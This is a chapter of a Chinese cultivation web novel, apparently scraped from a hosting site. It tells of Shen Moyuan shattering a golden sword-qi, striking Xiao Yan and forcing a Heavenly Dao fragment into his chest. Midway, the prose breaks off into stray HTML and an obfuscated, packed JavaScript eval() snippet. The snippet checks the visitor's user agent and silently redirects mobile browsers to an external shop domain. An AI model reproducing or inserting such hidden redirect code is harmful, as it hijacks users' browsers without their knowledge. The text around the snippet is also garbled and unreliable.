文趣网 > 都市小说 > 天劫淬体逆天路 > 95.金色剑气
    金色剑气劈下来的时候,沈墨渊脑子里只剩一个念头。

    完了。

    那道光太快了,快到他的眼睛根本跟不上。他的身体本能地往旁边闪了一步,但剑气太大了——从上往下劈,像一堵金色的墙压下来,封死了他所有的退路。

    他咬牙,双臂交叉挡在头顶。

    剑气撞上来的一瞬,他感觉自己的骨头要碎了。

    轰...

    脚下的地面塌陷下去,碎石向四周飞溅,砸在执法堂弟子的盾牌上啪啦作响。沈墨渊的双腿陷进坑里,碎石埋到了膝盖,泥土和石粉扬起来,呛得他眼睛发酸。浓重的土腥味灌进鼻腔,混合着一股焦灼的气息——那是剑气中蕴含的天道法则在燃烧空气。

    但他没倒。

    他咬着牙,双臂死死撑着那道剑气,手掌上传来灼烧的刺痛,像握着一块烧红的铁。金纹在皮肤下疯狂跳动,像一条条挣命的蛇,在血管里扭曲、翻涌。暗金色的血液从虎口渗出来,顺着手腕往下淌,滴在碎石上嘶嘶作响,溅起一小团白烟。

    “沈墨渊!”

    苏晚晴的嗓音从身后传来,哑得厉害。

    他听到了,但他不敢回头。剑气压得太紧了,他只要松一口气,这东西就能把他劈成两半。他觉得剑气的重量——不是物理上的重量,而是一种“法则”的重量,像一个无形的大手按在他身上,要把他压进土里,碾碎他的骨头,让他跪下去。

    他的膝盖在抖。

    不。

    他不跪。

    沈墨渊的牙咬得咯吱响,齿根发酸,牙龈渗出血来。血顺着嘴角往下淌,滴在碎石上,很快就被剑气散发出的高温蒸发。他死死盯着头顶那道金色的剑气,眼睛里布满血丝。剑气上流淌的金色光芒像活物一样在蠕动,他能感受到里面蕴含的力量——那是一种和天道法则同源的力量,纯净、冰冷、高高在上,像在俯视他这只蝼蚁。

    “这就是天道碎片的力量?”他在心里问自己,“这就是萧衍不惜一切代价要拿到的东西?”

    器灵的声音在脑海深处响起,虚弱但清晰:“小子,那不是单纯的灵气凝形,那是法则意志的具象化。天道碎片中封存着天道的意志碎片,它不会容忍任何逆天者的存在。”

    “所以它想杀我?”

    “它在审判你。”

    审判。

    这两个字像一把刀扎进沈墨渊的脑子里。

    他从小就在被审判。灵根测试时被审判为废物,宗门考核时被审判为杂役,每一次被人嘲笑、辱骂、践踏,都是命运在审判他——你不配。你不配修炼,你不配活着,你只配在烂泥里打滚。

    可现在,他站在这里,撑住了这道能劈开山岳的剑气。

    他凭什么还要被审判?

    他的手指动了动。

    攥紧。

    他没有挡开剑气,而是直接抓住了它。

    他的双手穿过金色光芒,握住了剑气的两侧,指节上传来咔嚓咔嚓的声响,好像骨骼在重压下裂开。但他没有松手,反而攥得更紧,手指几乎要嵌进剑气里。炽热的金芒灼烧着他的皮肤,掌心的血肉开始融化,露出下面暗红色的肌理。

    “你疯了!”灵儿的嗓音在脑海里炸开,带着明显的慌乱,“那是天道法则凝成的剑气,你不能硬抓”

    沈墨渊没听。

    他嘶吼一声,双手一下子向两侧一扯。

    剑气上裂开一道细纹。

    金色的光芒从裂缝中喷涌出来,像血一样溅在他脸上、身上,皮肤被烫出一个个焦黑的水泡,但他没有停。他咬着牙,双手继续撕扯,手指上的皮肉被剑气腐蚀,露出下面暗金色的血管。

    金纹在皮肤下炸开。

    金色的纹路从胸口蔓延到脖颈,再从脖颈爬上脸颊,像树根一样扎进他的皮肤里。他觉得金纹在吞噬他的灵气,在燃烧他的血肉,但他不在乎。

    他要撕碎这东西。

    第二下撕裂。

    剑气上的裂缝扩大了一倍,金色的碎片从裂缝中掉落下来,在空中散成光点。沈墨渊的双手上沾满了金色的光粉,像戴了一双发光的手套。他每用力一分,金粉就从指缝间洒落,像下了一场金色的雨。

    萧衍的笑终于停了。

    他盯着沈墨渊,脸上的脸色从惊讶变成了凝重,又从凝重变成了一种说不清的表情——好像见到了什么不该存在的东西。

    他的嘴唇动了动,无声地说了几个字。

    沈墨渊没看清,但他猜到了。

    不可能。

    第三下撕裂。

    剑气上传来一声尖锐的碎裂声,像瓷器裂开的声音,清脆得刺耳。裂缝从中间一直延伸到剑气的顶端,像一道蜘蛛网,密密麻麻地铺满了整道剑气。金色的光点从裂缝中涌出来,像被撕裂的伤口中流出的血。

    沈墨渊的双手已经血肉模糊,指头上的皮肉几乎被腐蚀干净,露出白色的指骨。但他没有停,反而撕得更用力了。他能感觉到对抗的意志——剑气中蕴含的天道法则正在试图修复裂缝,像活物的肌肉一样蠕动着,试图愈合。但他比它更快。

    他嘶吼着,把最后一寸剑气撕开。

    哗啦..

    剑气碎成无数片金色的光点,像一整个星空的碎片散落下来,落在他身上、头上、肩上,在夜色中闪烁着微弱的光芒。他的头顶、肩膀、手臂上都落满了金色的光粉,映得他整个人像从金光中走出来的神祇。

    但他不是神。

    他是逆天者。

    沈墨渊没有停下来喘气,没有给自己任何喘息的时间。他脚下发力,像一道黑色的箭矢朝萧衍冲了过去。

    地面上留下一个深半尺的坑,坑里的碎石还在往下掉。

    萧衍的瞳孔收缩。

    他想闪,但沈墨渊太快了。他的破厄拳已经轰到了萧衍面前,拳风像一块铁板一样砸在萧衍的胸口上。

    萧衍闷哼一声,身体往后飞了出去。

    金丹后期的护体灵气像纸糊的一样被撕开。他飞出去几十丈远,撞在一块黑色的巨岩上,岩石上裂开一道手臂粗的裂缝,碎石滚落下来,砸在他身上。他嘴角溢出一丝血,胸口处的道袍被拳风震碎,露出下面青色的皮肤,上面印着一个拳印——深深的,凹陷下去的拳印。

    执法堂弟子被拳风震飞了七八个,有人摔在地上,有人撞在树上,有人手中的盾牌被震成了两半,刀刃上布满裂纹。

    萧衍手中的天道碎片脱手飞出。

    金色的碎片在空中翻转着,划出一个弧线。沈墨渊的视线追着碎片的轨迹,整个人像一头扑食的野兽一样冲了过去。他几乎感觉不到腿上的疼了,肾上腺素像火一样在他血管里燃烧。

    他举手抓住了碎片。

    碎片上还残留着萧衍的灵气,温热得像一块刚从火中取出的铁片。金色的光芒在碎片表面流动,像活物一样试图钻进他的皮肤。他感觉到碎片在排斥他,天道法则的力量在他手掌里翻涌,像一条被抓住的蛇在拼命挣扎。

    他看了一眼碎片。

    然后他做了一个所有人都没想到的动作。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680333|204904||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    他把碎片按进了自己的胸膛。

    他的手一下子一沉,碎片刺穿了衣物,刺穿了皮肤,刺进了胸口。剧痛像潮水一样涌上来,他咬紧牙关,死死按住碎片,一点一点地把它往里推。碎片边缘锋利得像刀片,划开他的肌肉,割断他的血管,嵌入他的肋骨之间。

    金色的光芒从胸口喷涌出来,像血一样溅在地上。

    “沈墨渊!”苏晚晴喊破了音。

    她的声音里带着哭腔,但她冲了过来。

    他的身体一下子弓了起来,像被什么东西从内部撑开了一样。他觉得碎片在胸口里融化,金色的液体顺着血管流遍全身,所到之处像火烧一样灼痛。胸口的皮肉开始愈合又裂开,裂开又愈合,反复了几次,每一次都痛得他几乎昏过去。

    金纹在皮肤下炸开。

    他跪在地上,双手撑着地面,碎石嵌进伤口里,但他感觉不到疼了。他的视线开始模糊,耳朵里嗡嗡作响。地面的碎石在他眼前变得模糊又清晰,他看到了自己滴落的血,暗金色的,混着金色的光点。

    胸膛上裂开一道金色的纹路。

    纹路像树根一样从胸口向外蔓延,一直延伸到脖颈、脸颊、额头。他觉得碎片正在和他的身体融合,像两块金属被熔在一起,发出滋滋的声响。他能感觉到碎片中的意志——那是天道的意志,冰冷、无情,想要吞噬他、碾碎他、抹杀他。

    “两块碎片冲突了!”灵儿的声音变得急促,像在喊出来,“我的力量正在分裂”

    沈墨渊的意识开始模糊。

    他感觉自己的身体在裂开,不是从外面,而是从内部。两块碎片像两个不同的意志在他体内打架,一个想掌控,一个想吞噬。他觉得自己的魂魄都在被撕扯,一边是破厄诀的逆天意志,一边是天道法则的审判力量,它们在他体内纠缠、碰撞,像两只野兽在争夺他的身体。

    苏晚晴冲过来扶住他。

    她的手碰到他的肩膀时,浑身一颤。

    他的瞳孔中浮现出金色的符文,像天道锁链一样蔓延到整张脸,从眼角到嘴唇,从额头到下巴,密密麻麻的符文像活物一样在皮肤下游走。符文是金色的,但边缘处又泛着暗红色的光——那是破厄诀的力量在与它对抗。

    “他快死了!”苏晚晴转头冲萧衍喊,声音嘶哑得厉害,“你还想怎样!”

    萧衍擦掉嘴角的血,从碎石堆里站起来。他的道袍碎了大半,胸口上那个拳印在微微颤动。他看着沈墨渊,眼神中没有怜悯,也没有愤怒,只有一种冷冰冰的审视——像在打量一件物品。

    他说:

    “我要的是他体内的器灵。”

    苏晚晴的瞳孔猛然收缩。她挡在沈墨渊身前,双手攥紧成拳,指甲嵌进掌心。她能看到萧衍眼中的冷光,那是一种不计一切代价也要拿到手的执念。“你已经拿到天道碎片了,为什么”

    “那只是开胃菜。”萧衍伸出手,掌心向上,灵气在指尖凝聚成一道金色的小剑,“器灵才是主菜。他融合了器灵,还能吞噬天道碎片,这说明他体内的器灵比我想象的还要高级。”

    “你疯了。”

    “我没疯。”萧衍的金色小剑指向沈墨渊的胸口,“我只是想要一个答案为什么一个废灵根,能走到这一步。”

    沈墨渊跪在地上,胸口处的金纹裂得更深了。他能听到灵儿的声音在脑海里越来越远,越来越微弱,像隔着千山万水。

    “小子……撑住……”

    他撑不住了。

    他的意识像断线的风筝一样飘走。